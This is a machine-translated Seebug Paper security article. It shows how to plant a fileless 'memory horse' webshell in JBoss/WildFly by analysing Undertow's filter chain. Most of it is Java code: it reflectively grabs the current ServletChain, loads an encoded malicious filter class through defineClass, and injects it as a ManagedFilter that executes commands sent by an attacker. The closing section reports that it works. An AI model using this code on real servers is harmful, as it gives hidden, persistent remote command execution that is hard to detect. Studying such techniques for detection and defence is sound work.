Author: wide byte security
Original link: https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw
This article is the author's contribution. Seebug Paper is looking forward to your sharing. If you use it, you will have a gift!
Submission email: [email protected]
In the previous articles, I mainly studied the file free web shell of tomcat and weblogic. This paper focuses on jboss's fileless webhsell. The following analysis is based on the community version of jboss, wildfly-20.0.0.Final.
0x01 wildfly load Filter analysis
Make a breakpoint at the Filter, as shown in the figure, and observe the stack
jboss is relatively simple, and the code to process Filter is as follows
io.undertow.servlet.handlers.FilterHandler#handleRequest public void handleRequest(HttpServerExchange exchange) throws Exception { ServletRequestContext servletRequestContext = (ServletRequestContext)exchange.getAttachment(ServletRequestContext.ATTACHMENT_KEY); ServletRequest request = servletRequestContext.getServletRequest(); ServletResponse response = servletRequestContext.getServletResponse(); DispatcherType dispatcher = servletRequestContext.getDispatcherType(); Boolean supported = (Boolean)this.asyncSupported.get(dispatcher); if (supported != null && !supported) { servletRequestContext.setAsyncSupported(false); } List<ManagedFilter> filters = (List)this.filters.get(dispatcher); if (filters == null) { this.next.handleRequest(exchange); } else { FilterHandler.FilterChainImpl filterChain = new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers); filterChain.doFilter(request, response); } }
In the handleRequest method of the FilterHandler, get the filter to create the filter. And create FilterChainImpl. We continue to look up which functions call hadleRequest. stay io.undertow.servlet.handlers.ServletChain#ServletChain Method, the forceInit method is executed, and the code of the forceInit method is as follows
io.undertow.servlet.handlers.ServletChain#forceInit List<ManagedFilter> list = filters.get(dispatcherType); if(list != null && !list.isEmpty()) { for(int i = 0; i < list.size(); ++i) { ManagedFilter filter = list.get(i); filter.forceInit(); } }
Follow the forceInit method of ManagedFilter. The main function of forceInit method is to call the createFilter method of ManagedFilter to initialize a Filter. The code is as follows
public void createFilter() throws ServletException { synchronized (this) { if (filter == null) { try { handle = filterInfo.getInstanceFactory().createInstance(); } catch (Exception e) { throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(filterInfo.getName(), e); } Filter filter = handle.getInstance(); new LifecyleInterceptorInvocation(servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), filterInfo, filter, new FilterConfigImpl(filterInfo, servletContext)).proceed(); this.filter = filter; } } }
We can see that in this function, if it is detected that the Filter is not registered, a Filter will be initialized through LifecyleInterceptorInvocation and added to the Filter of the FilterHandler.
0x02 implementation
1. Get ServletChain
In the ServletRequestContext, we can find the following methods
/** * Gets the current threads {@link ServletRequestContext} if set, otherwise null. * * @return The current {@link ServletRequestContext} based on the calling thread, or null if unavailable */ public static ServletRequestContext current() { SecurityManager sm = System.getSecurityManager(); if(sm != null) { sm.checkPermission(GET_CURRENT_REQUEST); } return CURRENT.get(); }
Through s ervletRequestContext.current This static method can get the current ServletRequestContext object. In the ServletRequestContext object, the ServerChain object we need is stored.
2. Get the filter of ServletChain by reflection
The type of filter is EnumMap, the key is REQUEST, and the value is array. The filter to be called is stored in turn. It can be called by reflection. The code is as follows
Field filtersF = servletChain.getClass().getDeclaredField("filters"); filtersF.setAccessible(true); java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);
3. Create ManagedFilter
In the filter of ServletChain, the type in the array is ManagedFilter. In the construction parameters of ManagedFilter, two parameters are required, namely FilterInfo and servletContext. These two parameters are constructed as follows
3.1 FilterInfoIn FilterInfo, not required Class.forName , load the Filter class by name. Instead, you only need to provide the class of Filter in the parameter. The relevant codes are as follows
public FilterInfo(final String name, final Class<? extends Filter> filterClass) { try { final Constructor<Filter> ctor = (Constructor<Filter>) filterClass.getDeclaredConstructor(); ctor.setAccessible(true); this.instanceFactory = new ConstructorInstanceFactory<>(ctor); this.name = name; this.filterClass = filterClass; } catch (NoSuchMethodException e) { throw UndertowServletMessages.MESSAGES.componentMustHaveDefaultConstructor("Filter", filterClass); } }3.2 servletContext
servletContext and Context are not of the same type. But you can get the servletContext object from the Context.
The complete code is as follows
Method currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current"); Object curContext = currentM.invoke(null); Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet"); Object servletChain = getCurrentServletM.invoke(curContext); Field filtersF = servletChain.getClass().getDeclaredField("filters"); filtersF.setAccessible(true); java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain); String evilFilterClassName = "testFilter1"; Class evilFilterClass = null; try { evilFilterClass = Class.forName(evilFilterClassName); } catch (ClassNotFoundException e) { BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder(); String codeClass = "H4sIAAAAAAAA..."; Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassM.setAccessible(true); evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length); } ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST); Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("UnicodeSec", evilFilterClass); Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest"); servletRequestF.setAccessible(true); Object obj = servletRequestF.get(curContext); Field servletContextF = obj.getClass().getDeclaredField("servletContext"); servletContextF.setAccessible(true); Object servletContext = servletContextF.get(obj); Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext); filterList.add(evilManagedFilter);
0x03 result inspection
jboss has some special features. The memory horse above can only be triggered in pages that can be accessed normally. The effect is as follows
Add the command that needs to be executed, the memory horse starts to execute the command, and enters the result
Normal access page, no response
This article was published by Seebug Paper. If you need to reprint it, please indicate the source. Address: https://paper.seebug.org/1252/